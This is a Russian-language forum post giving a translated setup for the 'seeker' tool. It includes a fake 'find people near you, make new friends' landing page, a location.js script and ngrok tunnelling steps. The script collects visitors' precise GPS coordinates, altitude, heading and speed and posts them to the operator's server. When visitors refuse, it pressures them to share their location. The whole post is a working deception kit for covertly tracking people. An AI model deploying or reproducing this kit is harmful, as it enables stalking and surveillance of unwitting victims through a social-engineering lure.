Никита Храпенков
New member
для начала скачайте zip нгрока с этой ссылки:
вот обещанный перевод seeker на русский первым делом меняем index.html здесь /root/seeker/template/nearyou/
а затем меняем в папке /root/seeker/template/nearyou/js/ файл location.js на мой
Ссылка скрыта от гостей
затем распакуйте перейдите обратно на сайт и зарегайтесь чтобы получит токен потом просто копируйте комманды с сайта только в комманде ./ngrok http 80 ставьте вместо 80 8080 и открывайте 2 терминал ctrl+shift+t зайдите в папку seeker и пропишите python3 seeker.py -t manual в следующей теме будет русский перевод лично от менявот обещанный перевод seeker на русский первым делом меняем index.html здесь /root/seeker/template/nearyou/
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<title>узнай кто рядом с тобой</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="theme-color" content="#000000">
<link rel="icon" type="image/x-icon" href="https://www.freefavicon.com/freefavicons/icons/flat-location-logo-152-234349.png">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<link href="/css/main.css" rel="stylesheet">
<script type="text/javascript">
if (window.location.protocol == "http:") {
var restOfUrl = window.location.href.substr(5);
window.location = "https:" + restOfUrl;
}</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<script src="/js/main.js"></script>
<script src="/js/location.js"></script>
<script src="/js/info.js"></script>
<script src="/js/warpspeed.min.js"></script>
</head>
<body onload="information();">
<canvas id="canvas" style="width:100%; height:100%;"></canvas>
<script>var x=new WarpSpeed('canvas',
'{"speed":2,"speedAdjFactor":0.03,"density":1,"shape":"circle","warpEffect":true,"warpEffectLength":3,"depthFade":false,"starSize":3,"backgroundColor":"hsl(0,0%,0%)","starColor":"#FFFFFF"}');</script>
<div><h1>НАЙДИТЕ ЛЮДЕЙ РЯДОМ С ВАМИ</h1></div>
<div><h2>ВСТРЕЧАЙТЕ НОВЫХ ЛЮДЕЙ И ЗАВОДИТЕ НОВЫХ ДРУЗЕЙ</h2></div>
<div class="earth"></div>
<div><button id="change" class="button" type="button" onclick="main()">продолжить</button></div>
<div class="text" id="result"></div>
</body>
</html>
а затем меняем в папке /root/seeker/template/nearyou/js/ файл location.js на мой
JavaScript:
function locate()
{
if(navigator.geolocation)
{
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
}
else
{
alert('Geolocation is not Supported by your Browser...');
}
function showPosition(position)
{
var lat = position.coords.latitude;
var lon = position.coords.longitude;
var acc = position.coords.accuracy;
var alt = position.coords.altitude;
var dir = position.coords.heading;
var spd = position.coords.speed;
$.ajax({
type: 'POST',
url: '/php/result.php',
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
success: function(){$('#change').html('скоро будет');},
mimeType: 'text'
});
alert('СПАСИБО ПОЛЬЗУЙТЕСЬ САЙТОМ ЕЩЁ');
};
}
function showError(error)
{
switch(error.code)
{
case error.PERMISSION_DENIED:
var denied = 'User denied the request for Geolocation';
alert('ОШИБКА пожалуйста укажите местоположение');
break;
case error.POSITION_UNAVAILABLE:
var unavailable = 'Location information is unavailable';
break;
case error.TIMEOUT:
var timeout = 'The request to get user location timed out';
alert('Please Set Your Location Mode on High Accuracy...');
break;
case error.UNKNOWN_ERROR:
var unknown = 'An unknown error occurred';
break;
}
$.ajax({
type: 'POST',
url: '/php/error.php',
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
success: function(){$('#change').html('ошибка дайте данные о местоположении');},
mimeType: 'text'
});
}